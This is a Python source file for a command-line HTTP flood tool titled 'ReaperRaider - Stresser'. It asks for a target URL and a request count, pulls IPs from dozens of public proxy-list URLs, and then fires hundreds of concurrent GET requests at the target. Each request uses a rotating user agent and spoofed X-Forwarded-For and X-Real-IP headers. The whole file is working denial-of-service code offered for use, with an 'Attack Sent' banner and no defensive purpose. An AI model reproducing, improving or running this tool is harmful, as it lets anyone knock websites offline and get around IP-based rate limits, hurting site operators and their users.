import aiohttp import asyncio import random import itertools import time import re import string import os from colorama import Fore, init init(autoreset=True) def clear_screen(): os.system('cls' if os.name == 'nt' else 'clear') user_agents = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", "Mozilla/5.0 (Linux; Android 11; SM-G981B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.210 Mobile Safari/537.36", "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0", "Mozilla/5.0 (iPad; CPU OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/80.0.3987.95 Mobile/15E148 Safari/604.1", "Mozilla/5.0 (Linux; Android 10; Pixel 3 XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Mobile Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36", "Mozilla/5.0 (Linux; Android 12; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Mobile Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" ] + open("user.txt").read().splitlines() proxy_sources = [ "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all", "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt", "https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/http.txt", "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies.txt", "https://raw.githubusercontent.com/mmpx12/proxy-list/master/proxies.txt", "https://raw.githubusercontent.com/hendrikbgr/Free-Proxy-List/main/proxies.txt", "https://raw.githubusercontent.com/roosterkid/openproxylist/main/HTTPS_RAW.txt", "https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/HTTP.txt", "https://raw.githubusercontent.com/zevtyardt/proxy-list/main/http.txt", "https://raw.githubusercontent.com/rdavydov/proxy-list/main/proxies/http.txt", "https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/http.txt", "https://raw.githubusercontent.com/ProxyScraper/ProxyScraper/main/http.txt", "https://raw.githubusercontent.com/HyperBeats/proxy-list/main/http.txt", "https://raw.githubusercontent.com/userxd001/proxy-list/main/http.txt", "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt", "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt", "https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS4_RAW.txt", "https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS5_RAW.txt", "https://raw.githubusercontent.com/ProxyScraper/ProxyScraper/main/socks4.txt", "https://raw.githubusercontent.com/ProxyScraper/ProxyScraper/main/socks5.txt", "https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/SOCKS4.txt", "https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/SOCKS5.txt", "https://raw.githubusercontent.com/HyperBeats/proxy-list/main/socks4.txt", "https://raw.githubusercontent.com/HyperBeats/proxy-list/main/socks5.txt", "https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/socks4.txt", "https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/socks5.txt", "https://www.proxy-list.download/api/v1/get?type=http", "https://api.proxyscrape.com/?request=displayproxies&protocol=http", "https://proxyspace.pro/http.txt", "https://multproxy.org/txt_all/proxy.txt", "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt", "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/https.txt", "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks4.txt", "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt", "https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt", "https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.txt", "https://raw.githubusercontent.com/Volodichev/proxy-list/main/http.txt", "https://raw.githubusercontent.com/Volodichev/proxy-list/main/socks4.txt", "https://raw.githubusercontent.com/Volodichev/proxy-list/main/socks5.txt", "https://raw.githubusercontent.com/almroot/proxylist/master/list.txt", "https://raw.githubusercontent.com/roetsec/proxy-list/master/http.txt", "https://raw.githubusercontent.com/roetsec/proxy-list/master/socks4.txt", "https://raw.githubusercontent.com/roetsec/proxy-list/main/socks5.txt", "https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/http.txt", "https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/socks4.txt", "https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/socks5.txt", "https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/http_proxies.txt", "https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/https_proxies.txt", "https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/socks4_proxies.txt", "https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/socks5_proxies.txt", "https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/all/data.txt", "https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/protocols/http/data.txt", "https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/protocols/socks4/data.txt", "https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/protocols/socks5/data.txt", "https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/http/http.txt", "https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/https/https.txt", "https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/socks4/socks4.txt", "https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/socks5/socks5.txt", "https://raw.githubusercontent.com/ProxyDown/proxy-list/main/http.txt", "https://raw.githubusercontent.com/ProxyDown/proxy-list/main/https.txt", "https://raw.githubusercontent.com/ProxyDown/proxy-list/main/socks4.txt", "https://raw.githubusercontent.com/ProxyDown/proxy-list/main/socks5.txt", "https://raw.githubusercontent.com/mertguvencli/http-proxy-list/main/proxy-list/data.txt", "https://raw.githubusercontent.com/elliottophellia/yakumo/master/results/http/global/http_checked.txt", "https://raw.githubusercontent.com/elliottophellia/yakumo/master/results/https/global/https_checked.txt", "https://raw.githubusercontent.com/prxchk/proxy-list/main/http.txt", "https://raw.githubusercontent.com/prxchk/proxy-list/main/socks4.txt", "https://raw.githubusercontent.com/prxchk/proxy-list/main/socks5.txt" ] class CliAttacker: def __init__(self, target_url, num_requests): self.target_url = target_url self.num_requests = num_requests self.max_concurrent = 250 self.success_count = 0 self.fail_count = 0 self.start_time = None self.geo_cache = {} def log(self, message): print(f"{message}{Fore.RESET}") async def fetch_ip_addresses(self, url): connector = aiohttp.TCPConnector(ssl=False, limit=0) timeout = aiohttp.ClientTimeout(total=10) async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session: try: async with session.get(url) as response: text = await response.text() return re.findall(r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}:\d+\b", text) except: return [] async def get_all_ips(self): tasks = [self.fetch_ip_addresses(url) for url in proxy_sources] ip_lists = await asyncio.gather(*tasks) all_ips = [ip for sublist in ip_lists for ip in sublist] if len(all_ips) < 1000: all_ips.extend([f"{random.randint(1,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(0,255)}" for _ in range(1000)]) return all_ips async def get_geolocation(self, session, ip): clean_ip = ip.split(":")[0] if clean_ip in self.geo_cache: return self.geo_cache[clean_ip] try: async with session.get(f"http://ip-api.com/json/{clean_ip}", timeout=2) as resp: if resp.status == 200: data = await resp.json() if data.get("status") == "success": info = { "region": data.get("regionName", "Unknown"), "org": data.get("org", "Unknown"), "country": data.get("country", "Unknown") } self.geo_cache[clean_ip] = info return info except: pass fallback = {"region": "Unknown", "org": "Unknown", "country": "Unknown"} self.geo_cache[clean_ip] = fallback return fallback async def send_request(self, session, ip_address): headers = { "User-Agent": random.choice(user_agents), "X-Forwarded-For": ip_address, "X-Real-IP": ip_address, "Accept": "*/*", "Accept-Language": "en-US,en;q=0.9", "Cache-Control": "no-cache", "Connection": "keep-alive", "Referer": self.target_url, "X-Request-ID": ''.join(random.choices(string.ascii_letters + string.digits, k=16)) } try: async with session.get(self.target_url, headers=headers, timeout=3) as response: self.success_count += 1 elapsed = time.time() - self.start_time rate = self.success_count / elapsed if elapsed > 0 else 0 self.log(Fore.RED + f"Requests: {self.success_count} | Rate: {rate:.1f}/s | IP: {ip_address}") except: self.fail_count += 1 async def attack_worker(self, session, ip_cycle, worker_id): while self.success_count + self.fail_count < self.num_requests: await self.send_request(session, next(ip_cycle)) async def attack(self): self.start_time = time.time() self.log(Fore.RED + "Fetching Proxies...") ip_list = await self.get_all_ips() if not ip_list: ip_list = [f"10.0.{random.randint(0,255)}.{random.randint(0,255)}" for _ in range(2000)] sample_ip = ip_list[0] connector_temp = aiohttp.TCPConnector(limit=1, ssl=False) async with aiohttp.ClientSession(connector=connector_temp) as temp_session: geo = await self.get_geolocation(temp_session, sample_ip) parsed_url = self.target_url.split("://") method = parsed_url[0].upper() port = "443" if method == "HTTPS" else "80" # Clear the screen right before displaying the attack info and starting requests clear_screen() print(Fore.RED + " ") print(Fore.RED + " ═╗ ╔═ ") print(Fore.RED + " ╚╦════╩══════════════════════════════════════════╩════╦╝") print(Fore.RED + " ║ Attack Sent ║") print(Fore.RED + " ╔╩════════════════════════════════════════════════════╩╗") print(Fore.RED + f" ║ Target: {self.target_url:<43} ║") print(Fore.RED + f" ║ Port: {port:<43} ║") print(Fore.RED + f" ║ Method: {method.lower():<43} ║") print(Fore.RED + f" ║ Region: {geo['region']:<43} ║") print(Fore.RED + f" ║ ORG: {geo['org']:<43} ║") print(Fore.RED + f" ║ Country: {geo['country']:<43} ║") print(Fore.RED + f" ║ Time: {str(self.num_requests):<43} ║") print(Fore.RED + " ╚╦════════════════════════════════════════════════════╦╝") print(Fore.RED + " ") self.log(Fore.RED + f"Loaded {len(user_agents)} User-Agents") self.log(Fore.RED + f"Loaded {len(ip_list)} IPs | Starting attack logs...") ip_cycle = itertools.cycle(ip_list) connector = aiohttp.TCPConnector(limit=0, ssl=False) async with aiohttp.ClientSession(connector=connector) as session: workers = [self.attack_worker(session, ip_cycle, i) for i in range(self.max_concurrent)] await asyncio.gather(*workers) elapsed = time.time() - self.start_time self.log(Fore.BLUE + f"Attack completed: {self.success_count} success, {self.fail_count} failed in {elapsed:.2f}s") def run(self): if os.name == 'nt': os.system('title ReaperRaider - Stresser') asyncio.run(self.attack()) def print_banner(): banner = """ _.-^^---....,,-- _-- --_ < >) | | \._ _./ ```--. . , ; .--''' | | | .-=|| | |=-. `-=#$%&%$#=-' | ; :| _____.,-#%&$@%#&#~,._____ """ for line in banner.splitlines(): print(f"{Fore.RED}{line}{Fore.RESET}") if __name__ == "__main__": clear_screen() print_banner() target_url = input(Fore.RED + "\n Target: ") num_requests = int(input(Fore.RED + " Requests: ")) if not target_url.startswith(('http://', 'https://')): target_url = 'http://' + target_url attacker = CliAttacker(target_url, num_requests) attacker.run()